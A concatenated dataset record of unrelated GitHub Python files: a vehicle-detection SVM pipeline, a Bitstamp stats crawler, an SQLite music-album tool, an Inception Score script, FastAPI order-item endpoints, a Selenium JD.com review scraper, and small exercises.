hog_channel=0,\n spatial_feat=True, hist_feat=True, hog_feat=True): \n #1) Define an empty list to receive features\n img_features = []\n #2) Apply color conversion if other than 'RGB'\n if color_space != 'RGB':\n if color_space == 'HSV':\n feature_image = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n elif color_space == 'LUV':\n feature_image = cv2.cvtColor(img, cv2.COLOR_RGB2LUV)\n elif color_space == 'HLS':\n feature_image = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n elif color_space == 'YUV':\n feature_image = cv2.cvtColor(img, cv2.COLOR_RGB2YUV)\n elif color_space == 'YCrCb':\n feature_image = cv2.cvtColor(img, cv2.COLOR_RGB2YCrCb)\n elif color_space == 'SVCb':\n feature_image1 = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n feature_image2 = cv2.cvtColor(img, cv2.COLOR_RGB2YUV)\n feature_image3 = cv2.cvtColor(img, cv2.COLOR_RGB2YCrCb)\n feature_image = np.dstack((feature_image1[:,:,2],feature_image2[:,:,2],feature_image3[:,:,2]))\n else: feature_image = np.copy(img) \n #3) Compute spatial features if flag is set\n if spatial_feat == True:\n spatial_features = bin_spatial(feature_image, size=spatial_size)\n #4) Append features to list\n img_features.append(spatial_features)\n #5) Compute histogram features if flag is set\n if hist_feat == True:\n hist_features = color_hist(feature_image, nbins=hist_bins)\n #6) Append features to list\n img_features.append(hist_features)\n #7) Compute HOG features if flag is set\n if hog_feat == True:\n if hog_channel == 'ALL':\n hog_features = []\n for channel in range(feature_image.shape[2]):\n hog_features.extend(get_hog_features(feature_image[:,:,channel], \n orient, pix_per_cell, cell_per_block, \n vis=False, feature_vec=True)) \n else:\n hog_features = get_hog_features(feature_image[:,:,hog_channel], orient, \n pix_per_cell, cell_per_block, vis=False, feature_vec=True)\n #8) Append features to list\n img_features.append(hog_features)\n\n #9) Return concatenated array of features\n return np.concatenate(img_features)\n\n# Define a function you will pass an image \n# and the list of windows to be searched (output of slide_windows())\ndef search_windows(img, windows, clf, scaler, color_space='RGB', \n spatial_size=(32, 32), hist_bins=32, \n hist_range=(0, 256), orient=9, \n pix_per_cell=8, cell_per_block=2, \n hog_channel=0, spatial_feat=True, \n hist_feat=True, hog_feat=True):\n\n #1) Create an empty list to receive positive detection windows\n on_windows = []\n #2) Iterate over all windows in the list\n for window in windows:\n #3) Extract the test window from original image\n test_img = cv2.resize(img[window[0][1]:window[1][1], window[0][0]:window[1][0]], (64, 64)) \n #4) Extract features for that window using single_img_features()\n features = single_img_features(test_img, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat)\n #5) Scale extracted features to be fed to classifier\n test_features = scaler.transform(np.array(features).reshape(1, -1))\n #6) Predict using your classifier\n prediction = clf.predict(test_features)\n #7) If positive (prediction == 1) then save the window\n if prediction == 1:\n on_windows.append(window)\n #8) Return windows for positive detections\n return on_windows\n\n# Read in cars and notcars from large dataset\ncars = glob.glob('./dataset/vehicles/*/*.png')\nnotcars = glob.glob('./dataset/non-vehicles/*/*.png')\n\n### TODO: Tweak these parameters and see how the results change.\ncolor_space = 'YCrCb' # Can be RGB, HSV, LUV, HLS, YUV, YCrCb\norient = 9 # HOG orientations\npix_per_cell = 8 # HOG pixels per cell\ncell_per_block = 2 # HOG cells per block\nhog_channel = \"ALL\" # Can be 0, 1, 2, or \"ALL\"\nspatial_size = (16, 16) # Spatial binning dimensions\nhist_bins = 16 # Number of histogram bins\nspatial_feat = True # Spatial features on or off\nhist_feat = True # Histogram features on or off\nhog_feat = True # HOG features on or off\ny_start_stop = [None, None] # Min and max in y to search in slide_window()\n\ncar_features = extract_features(cars, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat)\nnotcar_features = extract_features(notcars, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat)\n\nX = np.vstack((car_features, notcar_features)).astype(np.float64) \n# Fit a per-column scaler\nX_scaler = StandardScaler().fit(X)\n# Apply the scaler to X\nscaled_X = X_scaler.transform(X)\n\n# Define the labels vector\ny = np.hstack((np.ones(len(car_features)), np.zeros(len(notcar_features))))\n\n#############\n# Parameter Estimation for SVM\n#X_train, X_test, y_train, y_test = train_test_split(\n# scaled_X, y, test_size=0.5, random_state=0)\n# Set the dataset in two equal parts\n#tuned_parameters = [{'kernel':['rbf'], 'gamma':[1e-3,1e-4], 'C': [1,10,100,1000]},\n# {'kernel':['linear'], 'C': [1,10,100,1000]}]\n#clf = GridSearchCV(SVC(C=1), tuned_parameters, cv=5)\n#clf.fit(X_train,y_train)\n#print(clf.best_params_)\n\n# Split up data into randomized training and test sets\nrand_state = np.random.randint(0, 100)\nX_train, X_test, y_train, y_test = train_test_split(\n scaled_X, y, test_size=0.2, random_state=rand_state)\n\nprint('Using:',orient,'orientations',pix_per_cell,\n 'pixels per cell and', cell_per_block,'cells per block')\nprint('Feature vector length:', len(X_train[0]))\n# Use a linear SVC \nsvc = LinearSVC()\n# Check the training time for the SVC\nt=time.time()\nsvc.fit(X_train, y_train)\nt2 = time.time()\nprint(round(t2-t, 2), 'Seconds to train SVC...')\n# Check the score of the SVC\nprint('Test Accuracy of SVC = ', round(svc.score(X_test, y_test), 4))\n# Check the prediction time for a single sample\n\nf = open(\"svc_pickle.p\", \"wb\" )\nparams ={\"svc\":svc, \"scaler\":X_scaler, \"orient\":orient, \"pix_per_cell\":pix_per_cell, \"cell_per_block\":cell_per_block, \n \"spatial_size\":spatial_size, \"hist_bins\":hist_bins}\npickle.dump(params, f)\nf.close()\n\nt=time.time()\n\nimg = mpimg.imread('test_images/test1.jpg')\n\nystart = 400\nystop = 656\n \nheat = np.zeros_like(img[:,:,0]).astype(np.float)\n\nbox_list = []\n\nfor scale in np.arange(0.5,2,0.2) :\n box_list = find_cars(img,box_list, ystart, ystop, scale, svc, X_scaler, orient, pix_per_cell, cell_per_block, spatial_size, hist_bins)\n\n# Add heat to each box in box list\nheat = add_heat(heat,box_list)\n \n# Apply threshold to help remove false positives\nheat = apply_threshold(heat,10) # 20 was best\n\n# Visualize the heatmap when displaying \nheatmap = np.clip(heat, 0, 255)\n\n# Find final boxes from heatmap using label function\nlabels = label(heatmap)\ndraw_img = draw_labeled_bboxes(np.copy(img), labels)\n\nplt.imshow(heatmap)\n","repo_name":"Jaeyong-Han/Self-Driving-Car_Nanodegree","sub_path":"CarND-Project5_Vehicle-Detection/search_classify.py","file_name":"search_classify.py","file_ext":"py","file_size_in_byte":9090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73187922330","text":"import json\nimport logging\nimport os\nimport time\nfrom typing import Any, Dict, List, Optional\n\nimport requests\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef merge_data(prev: List[Dict[str, Any]], curr: List[Dict[str, Any]]) -> List[Dict[str, Any]]:\n '''Merge curr into prev, the element in list must have a date field.'''\n for c in curr:\n x: Optional[Dict[str, Any]] = None\n for p in prev:\n if p['date'] == c['date']:\n x = p\n break\n if x is None:\n prev.append(c)\n else:\n x.update(c)\n return sorted(prev, key=lambda d: d['date'])\n\n\ndef http_get(url: str, field_name: str) -> List[Dict[str, Any]]:\n resp = requests.get(url=url)\n if resp.status_code == 200:\n data = resp.json()\n return data[field_name]\n else:\n logging.warning(f'{url} {resp.status_code} {resp.text}')\n if resp.status_code == 429:\n exit(0)\n return []\n\n\ndef get_coins() -> List[str]:\n url = 'https://www.bitstamp.net/api/v2/trading-pairs-info/'\n resp = requests.get(url=url)\n if resp.status_code == 200:\n symbols = resp.json()\n coins = [s['name'].split('/')[0].lower() for s in symbols]\n coins = sorted(list(set(coins)))\n return coins\n else:\n logging.warning(f'{url} {resp.status_code} {resp.text}')\n if resp.status_code == 429:\n exit(0)\n return []\n\n\ndef get_price(coin: str) -> None:\n url = f'https://www.bitstamp.net/api-internal/stats/v1/{coin}/financial/price'\n curr = http_get(url=url, field_name='price')\n file_path = f'./data/price-{coin}.json'\n if os.path.exists(file_path):\n with open(file_path, 'rt') as f_in:\n prev = json.loads(f_in.read())\n else:\n prev = []\n prev = merge_data(prev, curr)\n with open(file_path, 'wt') as f_out:\n json.dump(prev, f_out, indent=2)\n\n\ndef get_transactions(coin: str) -> None:\n url = f'https://www.bitstamp.net/api-internal/stats/v1/{coin}/network/transactions'\n curr = http_get(url=url, field_name='txsStats')\n file_path = f'./data/transactions-{coin}.json'\n if os.path.exists(file_path):\n with open(file_path, 'rt') as f_in:\n prev = json.loads(f_in.read())\n else:\n prev = []\n prev = merge_data(prev, curr)\n with open(file_path, 'wt') as f_out:\n json.dump(prev, f_out, indent=2)\n\n\ndef get_addresses(coin: str) -> None:\n url = f'https://www.bitstamp.net/api-internal/stats/v1/{coin}/network/addresses'\n curr = http_get(url=url, field_name='addressesStats')\n file_path = f'./data/addresses-{coin}.json'\n if os.path.exists(file_path):\n with open(file_path, 'rt') as f_in:\n prev = json.loads(f_in.read())\n else:\n prev = []\n prev = merge_data(prev, curr)\n with open(file_path, 'wt') as f_out:\n json.dump(prev, f_out, indent=2)\n\n\ndef get_large_transactions(coin: str) -> None:\n url = f'https://www.bitstamp.net/api-internal/stats/v1/{coin}/financial/large_transactions'\n file_path = f'./data/large_transactions-{coin}.json'\n curr = http_get(url=url, field_name='largeTxs')\n if os.path.exists(file_path):\n with open(file_path, 'rt') as f_in:\n prev = json.loads(f_in.read())\n else:\n prev = []\n prev = merge_data(prev, curr)\n with open(file_path, 'wt') as f_out:\n json.dump(prev, f_out, indent=2)\n\n\nif __name__ == \"__main__\":\n # // 8000 requests per 10 minutes, see `REQUEST LIMITS` at https://www.bitstamp.net/api/\n cooldown_time = 0.075\n coins = get_coins()\n for coin in coins:\n logging.info(coin)\n get_price(coin)\n time.sleep(cooldown_time)\n get_transactions(coin)\n time.sleep(cooldown_time)\n get_addresses(coin)\n time.sleep(cooldown_time)\n get_large_transactions(coin)\n time.sleep(cooldown_time)\n","repo_name":"crypto-crawler/bitstamp-insights","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"74190914652","text":"'''\n1. 공백을 기준으로 slice후 리스트 저장: str.slice()\n2. list[i] %2 == 0 : upper\n3. list[i] %2 != 0 : lower\n'''\n\ndef solution(s):\n answer = ''\n new_list = s.split(' ')\n for i in new_list:\n for j in range(len(i)):\n if j%2==0:\n answer += i[j].upper()\n else:\n answer += i[j].lower()\n answer += ' '\n return answer[0:-1]\n \n \n\nprint(solution(\"try hello world\"))","repo_name":"dayowoo/Algorithm-Study","sub_path":"programmers/Level1/이상한 문자 만들기.py","file_name":"이상한 문자 만들기.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24473868260","text":"import sqlite3\nimport mutagen\n\n\nclass Album:\n def __init__(self, db_path):\n self.db_path = db_path\n self.conn = sqlite3.connect(self.db_path)\n self.cur = self.conn.cursor()\n\n # def __del__(self):\n # self.conn.close()\n\n def add_album(self, title, artist_name):\n self.cur.execute(\"SELECT id FROM artist WHERE name = ?\", (artist_name,))\n artist_id = self.cur.fetchone()\n if not artist_id:\n self.cur.execute(\"INSERT INTO artist (name) VALUES (?)\", (artist_name,))\n artist_id = self.cur.lastrowid\n else:\n artist_id = artist_id[0]\n self.cur.execute(\"INSERT INTO album (title, artist_id) VALUES (?, ?, ?)\", (title, artist_id))\n self.conn.commit()\n\n def delete_album(self, album_id):\n self.cur.execute(\"DELETE FROM album WHERE id = ?\", (album_id,))\n self.conn.commit()\n\n def modify_tag(self, album_id, field, value):\n self.cur.execute(\"SELECT filename FROM library WHERE album_id = ?\", ( album_id,))\n filenames = self.cur.fetchall()\n for filename in filenames:\n try:\n audio = mutagen.File(filename[0])\n if audio:\n audio[field] = value\n audio.save()\n except Exception as e:\n print(f\"Error modifying tag for {filename[0]}: {e}\")\n\n def show(self, album_id):\n self.cur.execute(\n \"SELECT album.title, artist.name FROM album JOIN artist ON album.artist_id = artist.id WHERE album.id = ?\",\n (album_id,))\n row = self.cur.fetchone()\n if row:\n print(f\"Album: {row[0]}\")\n print(f\"Artist: {row[1]}\")\n self.cur.execute(\"SELECT title, artist, duration, genre FROM library WHERE album_id = ?\", (album_id,))\n rows = self.cur.fetchall()\n for row in rows:\n print(row)\n","repo_name":"kandriadze/cli_id3","sub_path":"Album.py","file_name":"Album.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13642561739","text":"'''\nFrom https://github.com/tsc2017/Inception-Score\nCode derived from https://github.com/openai/improved-gan/blob/master/inception_score/model.py and https://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/gan/python/eval/python/classifier_metrics_impl.py\n\nUsage:\n Call get_inception_score(images, splits=10)\nArgs:\n images: A numpy array with values ranging from 0 to 255 and shape in the form [N, 3, HEIGHT, WIDTH] where N, HEIGHT and WIDTH can be arbitrary. \n dtype of the images is recommended to be np.uint8 to save CPU memory.\n splits: The number of splits of the images, default is 10.\nReturns:\n Mean and standard deviation of the Inception Score across the splits.\n'''\n\nimport os, sys\nimport functools\nimport time\nimport argparse\nfrom tqdm import tqdm\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import functional_ops\ntfgan = tf.contrib.gan\n\n\nclass InceptionScore():\n def __init__(self, batch_size, name):\n self.batch_size = batch_size \n self.inception_images = tf.placeholder(tf.float32, [self.batch_size, 3, None, None])\n self.logits = self.inception_eval(name)\n\n def inception_eval(self, name):\n images = self.inception_images\n images = tf.transpose(images, [0, 2, 3, 1])\n size = 299\n images = tf.image.resize_bilinear(images, [size, size])\n generated_images_list = array_ops.split(images, num_or_size_splits=1)\n logits = functional_ops.map_fn(\n fn = functools.partial(tfgan.eval.run_inception, output_tensor=name),\n elems = array_ops.stack(generated_images_list),\n parallel_iterations = 1,\n back_prop = False,\n swap_memory = True,\n name = 'RunClassifier')\n logits = array_ops.concat(array_ops.unstack(logits), 0)\n return logits\n\n def get_inception_probs(self, sess, inps):\n n_batches = len(inps) // self.batch_size\n preds = np.zeros([n_batches * self.batch_size, 1000], dtype=np.float32)\n for i in tqdm(range(n_batches)):\n inp = inps[i * self.batch_size : (i + 1) * self.batch_size] / 127.5 - 1\n preds[i * self.batch_size : (i + 1) * self.batch_size] = sess.run(self.logits, feed_dict={self.inception_images: inp})[:, :1000]\n preds = np.exp(preds) / np.sum(np.exp(preds), 1, keepdims=True)\n return preds\n\n def preds2score(self, preds):\n scores = []\n splits = 1\n for i in range(splits):\n part = preds[(i * preds.shape[0] // splits):((i + 1) * preds.shape[0] // splits), :]\n kl = part * (np.log(part) - np.log(np.expand_dims(np.mean(part, 0), 0)))\n kl = np.mean(np.sum(kl, 1))\n scores.append(np.exp(kl))\n return np.mean(scores), np.std(scores)\n\n def get_inception_score(self, images):\n assert(type(images) == np.ndarray)\n assert(len(images.shape) == 4)\n assert(images.shape[1] == 3)\n assert(np.min(images[0]) >= 0 and np.max(images[0]) > 10), 'Image values should be in the range [0, 255]'\n print('Calculating Inception Score with %i images in %i splits' % (images.shape[0], 1))\n start_time = time.time()\n with tf.Session() as sess:\n preds = self.get_inception_probs(sess, images)\n mean, std = self.preds2score(preds)\n print('Inception Score calculation time: %f s' % (time.time() - start_time))\n return mean, std # Reference values: 11.34 for 49984 CIFAR-10 training set images, or mean=11.31, std=0.08 if in 10 splits.\n\ndef get_images_from_files(path):\n import cv2\n #images = np.empty(shape=[50000, 3, 32, 32], dtype=np.uint8) # CIFAR10\n #images = np.empty(shape=[100000, 3, 48, 48], dtype=np.uint8) # STL10 (unlabeled, resized)\n images = np.empty(shape=[50000, 3, 48, 48], dtype=np.uint8) # STL10 (generated)\n idx = 0\n for root, dir, files in os.walk(path):\n for file in files:\n if file.endswith(tuple(['.jpg', '.png', 'bmp'])):\n image_path = os.path.join(root, file)\n img = cv2.imread(image_path)\n img = img[:, :, (2, 1, 0)] # BGR to RGB \n img = np.transpose(img, (2, 0, 1)) # RGB, H, W \n images[idx] = img\n idx += 1\n if idx >= images.shape[0]:\n break\n print('images.shape: {}'.format(images.shape))\n return images\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--gpu', help='comma separated GPU list to use')\n parser.add_argument('--data_dir', help='path to data folder')\n args = parser.parse_args()\n\n if args.gpu:\n os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu \n\n images = get_images_from_files(args.data_dir) \n mean, std = InceptionScore(64, 'logits:0').get_inception_score(images)\n print('IS: ', mean, std)\n\n # images = get_images_from_files(args.data_dir)\n # with tf.Session() as sess:\n # preds = InceptionScore(100, 'pool_3:0').get_inception_probs(sess, images)\n # #np.save('/home/minje/dev/dataset/cifar/cifar10_inception_pool_3.npy', preds)\n # np.save('/home/minje/dev/dataset/stl/stl_unlabeled_inception_pool_3.npy', preds)\n \n\n","repo_name":"swotr/snwgan","sub_path":"IS/inception_score.py","file_name":"inception_score.py","file_ext":"py","file_size_in_byte":5356,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"5168009945","text":"\"\"\"see https://adventofcode.com/2022/day/1\"\"\"\r\n\r\nfrom argparse import ArgumentParser\r\nfrom typing import Iterator\r\n\r\ndef make_parser() -> ArgumentParser:\r\n parser = ArgumentParser()\r\n parser.add_argument(\"input\", help=\"input file\")\r\n return parser\r\n\r\ndef split_on(s, seq):\r\n \"\"\"splits seq on s\"\"\"\r\n acc = []\r\n for each in seq:\r\n if each == s:\r\n yield acc\r\n acc = []\r\n else:\r\n acc.append(each)\r\n yield acc\r\n\r\nif __name__ == '__main__':\r\n matches = make_parser().parse_args()\r\n with open(matches.input, 'r') as fptr:\r\n input = fptr.readlines()\r\n nums = [int(l) if l.strip().isnumeric() else None for l in input]\r\n elves_split: list[list[int]] = list(split_on(None, nums))\r\n cals: list[int] = list(map(sum, elves_split))\r\n print(max(cals))\r\n cals.sort(reverse=True)\r\n top_3: list[int] = cals[:3]\r\n print(f\"top 3: {top_3}\")\r\n print(f\"total of top 3: {sum(top_3)}\")","repo_name":"vernonrj/advent2022","sub_path":"day01/puzzle01.py","file_name":"puzzle01.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10071086313","text":"from typing import List\nfrom uuid import UUID\n\nfrom fastapi import Depends\nfrom fastapi_utils.cbv import cbv\nfrom fastapi_utils.inferring_router import InferringRouter\nfrom fastapi_utils.api_model import APIMessage\n\nfrom ..services import OrderItemService\nfrom ..schemas import (\n OrderItemCreate, OrderItemUpdate, OrderItemGet,\n)\nfrom .base_api import BaseAPI\n\nrouter = InferringRouter()\n\n\n# noinspection PyTypeChecker\n@cbv(router)\nclass OrderItemAPI(BaseAPI):\n service: OrderItemService = Depends()\n\n @router.get('/')\n async def get_many(\n self, offset: int = 0, limit: int = 20,\n order_uid: UUID = None\n ) -> List[OrderItemGet]:\n return await self._get_many(\n limit, offset, order_uid=order_uid\n )\n\n @router.get(\"/{uid}/\")\n async def get_one(\n self, uid: UUID\n ) -> OrderItemGet:\n return await self._get_one(uid)\n\n @router.post(\"/\")\n async def create_one(\n self, obj: OrderItemCreate\n ) -> OrderItemGet:\n return await self._create_one(obj)\n\n @router.put(\"/{uid}/\")\n async def update_one(\n self, uid: UUID, obj: OrderItemUpdate\n ) -> OrderItemGet:\n return await self._update_one(obj, uid)\n\n @router.delete(\"/{uid}/\")\n async def delete_one(\n self, uid: UUID\n ) -> APIMessage:\n return await self._delete_one(uid)\n","repo_name":"ashapochka/chainvoice","sub_path":"app/api/order_item_api.py","file_name":"order_item_api.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"21312596308","text":"from bs4 import BeautifulSoup as bs\r\nfrom selenium import webdriver \r\nfrom selenium.common.exceptions import TimeoutException\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.phantomjs.webdriver import WebDriver\r\nimport json\r\nfrom time import sleep\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver import ActionChains\r\nfrom random import randint\r\nfrom multiprocessing import Semaphore,Process\r\nimport re\r\nimport os\r\n\r\ndef get_cookie():\r\n\toptions=webdriver.ChromeOptions()\r\n\tprefs = {\"profile.managed_default_content_settings.images\": 2,'profile.default_content_setting_values' : { 'notifications' : 2 }}\r\n\toptions.add_experimental_option(\"prefs\", prefs)\r\n\tuser_ag='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36'\r\n\toptions.add_argument('--user-agent=%s'%user_ag)\r\n\toptions.add_argument('--disable-infobars')\r\n\toptions.add_argument('--disable-gpu') \r\n\toptions.add_argument('--incognito')\r\n\t#options.add_argument('--headless')\r\n\tdriver = webdriver.Chrome(chrome_options=options)\r\n\tdriver.get('https://passport.jd.com/new/login.aspx?ReturnUrl=https%3A%2F%2Fwww.jd.com%2F')\r\n\ttry:\r\n\t\tresult=WebDriverWait(driver,100).until(EC.title_is('京东(JD.COM)-正品低价、品质保障、配送及时、轻松购物!'))\r\n\texcept:\r\n\t\tprint(\"no!!\")\r\n\r\n\tcookies=driver.get_cookies()\r\n\tcookies=json.dumps(cookies)\r\n\twith open(\"cookies.json\",\"w\") as fbb:\r\n\t\t\tjson.dump(cookies,fbb)\r\n\r\nsem_all_html=Semaphore(1)\r\nsem_end=Semaphore(0)\r\nsem_url=Semaphore(0)\r\nsem_cook=Semaphore(1)\r\nclass acq_url(Process):\r\n\tdef __init__(self):\r\n\t\tsuper(acq_html,self).__init__()\r\n\tdef run(self):\r\n\t\toptions=webdriver.ChromeOptions()\r\n\t\tprefs = {\"profile.managed_default_content_settings.images\": 2,'profile.default_content_setting_values' : { 'notifications' : 2 }}\r\n\t\toptions.add_experimental_option(\"prefs\", prefs)\r\n\t\tuser_ag='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36'\r\n\t\toptions.add_argument('--user-agent=%s'%user_ag)\r\n\t\toptions.add_argument('--disable-infobars')\r\n\t\toptions.add_argument('--disable-gpu') \r\n\t\toptions.add_argument('--incognito')\r\n\t\t#options.add_argument('--headless')\r\n\t\tpage_num=10\r\n\t\tdriver = webdriver.Chrome(chrome_options=options)\r\n\t\tsem_cook.acquire()\r\n\t\twith open(\"cookies.json\",\"r\") as f:\r\n\t\t\tcookies=json.loads(json.load(f))\r\n\t\tsem_cook.release()\r\n\t\tdriver.get(\"https://www.jd.com\")\r\n\t\tdriver.delete_all_cookies()\r\n\t\tfor cookie in cookies:\r\n\t\t\tdriver.add_cookie(cookie)\r\n\t\tsleep(0.5)\r\n\t\tdriver.find_element_by_xpath('//*[@id=\"key\"]').send_keys('蓝牙键盘')\r\n\t\tsleep(2)\r\n\t\tdriver.find_element_by_xpath('//*[@id=\"search\"]/div/div[2]/button').click()\r\n\t\tac=ActionChains(driver)\r\n\t\tfor i1 in range(page_num):\r\n\t\t\tfor i in range(4):\r\n\t\t\t\tsleep(randint(0,3))\r\n\t\t\t\tac.send_keys(Keys.PAGE_DOWN).perform()\r\n\t\t\t\tprint(i)\r\n\t\r\n\t\t\tsleep(randint(3,5))\r\n\r\n\t\t\twith open(\"page_\"+str(i1)+'.html','wb') as f:\r\n\t\t\t\tf.write(driver.page_source.encode(\"utf-8\",\"ignore\"))\r\n\t\t\tsem_url.release()\r\n\t\t\tprint(\"写入成功\",i1)\r\n\t\t\tsleep(randint(5,8))\r\n\t\t\tac.send_keys(Keys.RIGHT).perform()\r\n\r\nclass acq_html(Process):\r\n\tdef __init__(self):\r\n\t\tsuper(acq_data,self).__init__()\r\n\t\r\n\tdef run(self):\r\n\t\toptions=webdriver.ChromeOptions()\r\n\t\tprefs = {\"profile.managed_default_content_settings.images\": 2,'profile.default_content_setting_values' : { 'notifications' : 2 }}\r\n\t\toptions.add_experimental_option(\"prefs\", prefs)\r\n\t\tuser_ag='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36'\r\n\t\toptions.add_argument('--user-agent=%s'%user_ag)\r\n\t\toptions.add_argument('--disable-infobars')\r\n\t\toptions.add_argument('--disable-gpu') \r\n\t\toptions.add_argument('--incognito')\r\n\t\t#options.add_argument('--headless')\r\n\t\tdriver = webdriver.Chrome(chrome_options=options)\r\n\t\tsem_cook.acquire()\r\n\t\twith open(\"cookies.json\",\"r\") as f:\r\n\t\t\tcookies=json.loads(json.load(f))\r\n\t\tsem_cook.release()\r\n\t\tdriver.get(\"https://www.jd.com\")\r\n\t\tdriver.delete_all_cookies()\r\n\t\tfor cookie in cookies:\r\n\t\t\tdriver.add_cookie(cookie)\r\n\t\tac=ActionChains(driver)\r\n\t\tfor i in range(10):\r\n\t\t\tsem_url.acquire()\r\n\t\t\twith open(\"page_\"+str(i)+\".html\",'rb') as f:\r\n\t\t\t\ttext=bs(f.read(),'html.parser')\r\n\t\t\tlianjie=[]\r\n\t\t\tfor link in text.find_all('strong'):\r\n\t\t\t\tfor lin in link.find_all('a'):\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\tlianjie.append(\"https:\"+lin.get(\"href\"))\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\tprint(\"null\")\r\n\t\t\tfor ind,t in enumerate(lianjie):\r\n\t\t\t\tprint(t)\r\n\t\t\t\tdriver.get(t)\r\n\t\t\t\tpage_all=-1\r\n\t\t\t\tfor index in range(2,7):\r\n\t\t\t\t\tsleep(randint(0,2))\r\n\t\t\t\t\tfor n in range (randint(2,4)):\r\n\t\t\t\t\t\tac.send_keys(Keys.PAGE_DOWN).perform()\r\n\t\t\t\t\t\tsleep(randint(0,3))\r\n\t\t\t\t\t#if page_all==-1:\r\n\t\t\t\t\t\t#cc=driver.find_element_by_xpath('/html/body/div[10]/div[2]/div[3]/div[2]/div[2]/div[1]/ul/li[1]/a/em').text\r\n\t\t\t\t\t\t#cc=driver.find_elements_by_css_selector(\"[data-anchor='#comment']\")\r\n\t\t\t\t\t\t#cc=driver.find_elements_by_link_text('商品评价')\r\n\t\t\t\t\t\t#all_num=cc.text\r\n\t\t\t\t\tsem_all_html.acquire()\r\n\t\t\t\t\twith open(\"all.html\",'ab') as f:\r\n\t\t\t\t\t\tf.write(driver.page_source.encode(\"utf-8\",\"ignore\"))\r\n\t\t\t\t\tsem_all_html.release()\r\n\t\t\t\t\tif sem_end.get_value()<0:\r\n\t\t\t\t\t\tsem_end.release()\r\n\t\t\t\t\tprint(\"save!!\")\r\n\t\t\t\t\tsleep(randint(5,8))\r\n\t\t\t\t\tflag=-1\r\n\t\t\t\t\tfor indx,ele in enumerate(driver.find_elements_by_link_text(str(index))):\r\n\t\t\t\t\r\n\t\t\t\t\t\ttx = ele.get_attribute(\"rel\")\r\n\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tif tx==str(index):\r\n\t\t\t\t\t\t\t\tprint(\"ins\")\r\n\t\t\t\t\t\t\t\tflag=1\r\n\t\t\t\t\t\t\t\tele.click()\r\n\t\t\t\t\t\texcept:\r\n\t\t\t\t\t\t\tprint(\"ee\",indx)\r\n\t\t\t\t\r\n\t\t\t\t\tif flag==-1:\r\n\t\t\t\t\t\tbreak\r\n\t\tsem_end.release()\r\n\t\tsem_end.release()\r\n\t\tsem_end.release()\r\nclass acq_data(Process):\r\n\tdef __init__(self):\r\n\t\tsuper(acq_data,self).__init__()\r\n\t\r\n\tdef run(self):\r\n\t\tcommit=[]\r\n\t\twhile sem_end.get_value()==0:\r\n\t\t\tif os.path.exists(\"all.html\"):\r\n\t\t\t\tprint(\"存在\")\r\n\t\t\t\tsem_all_html.acquire()\r\n\t\t\t\twith open(\"all.html\",'rb') as f:\r\n\t\t\t\t\tgg=f.read().split(b' 90)\n ]\n .copy()\n .sort_values([\"gkCombinedIndex\"], ascending=False)[\n [\n \"first_name\",\n \"second_name\",\n \"name\",\n \"form\",\n \"selected_by_percent\",\n \"total_points\",\n \"minutes\",\n \"influence\",\n \"creativity\",\n \"threat\",\n \"gkCombinedIndex\",\n ]\n ]\n .copy()\n )\n\n top_def = (\n player_core.loc[\n (player_core[\"singular_name_short\"] == \"DEF\")\n & (player_core[\"minutes\"] > 90)\n ]\n .copy()\n .sort_values([\"defCombinedIndex\"], ascending=False)[\n [\n \"first_name\",\n \"second_name\",\n \"name\",\n \"form\",\n \"selected_by_percent\",\n \"total_points\",\n \"minutes\",\n \"influence\",\n \"creativity\",\n \"threat\",\n \"defCombinedIndex\",\n ]\n ]\n .copy()\n )\n\n top_mid = (\n player_core.loc[\n (player_core[\"singular_name_short\"] == 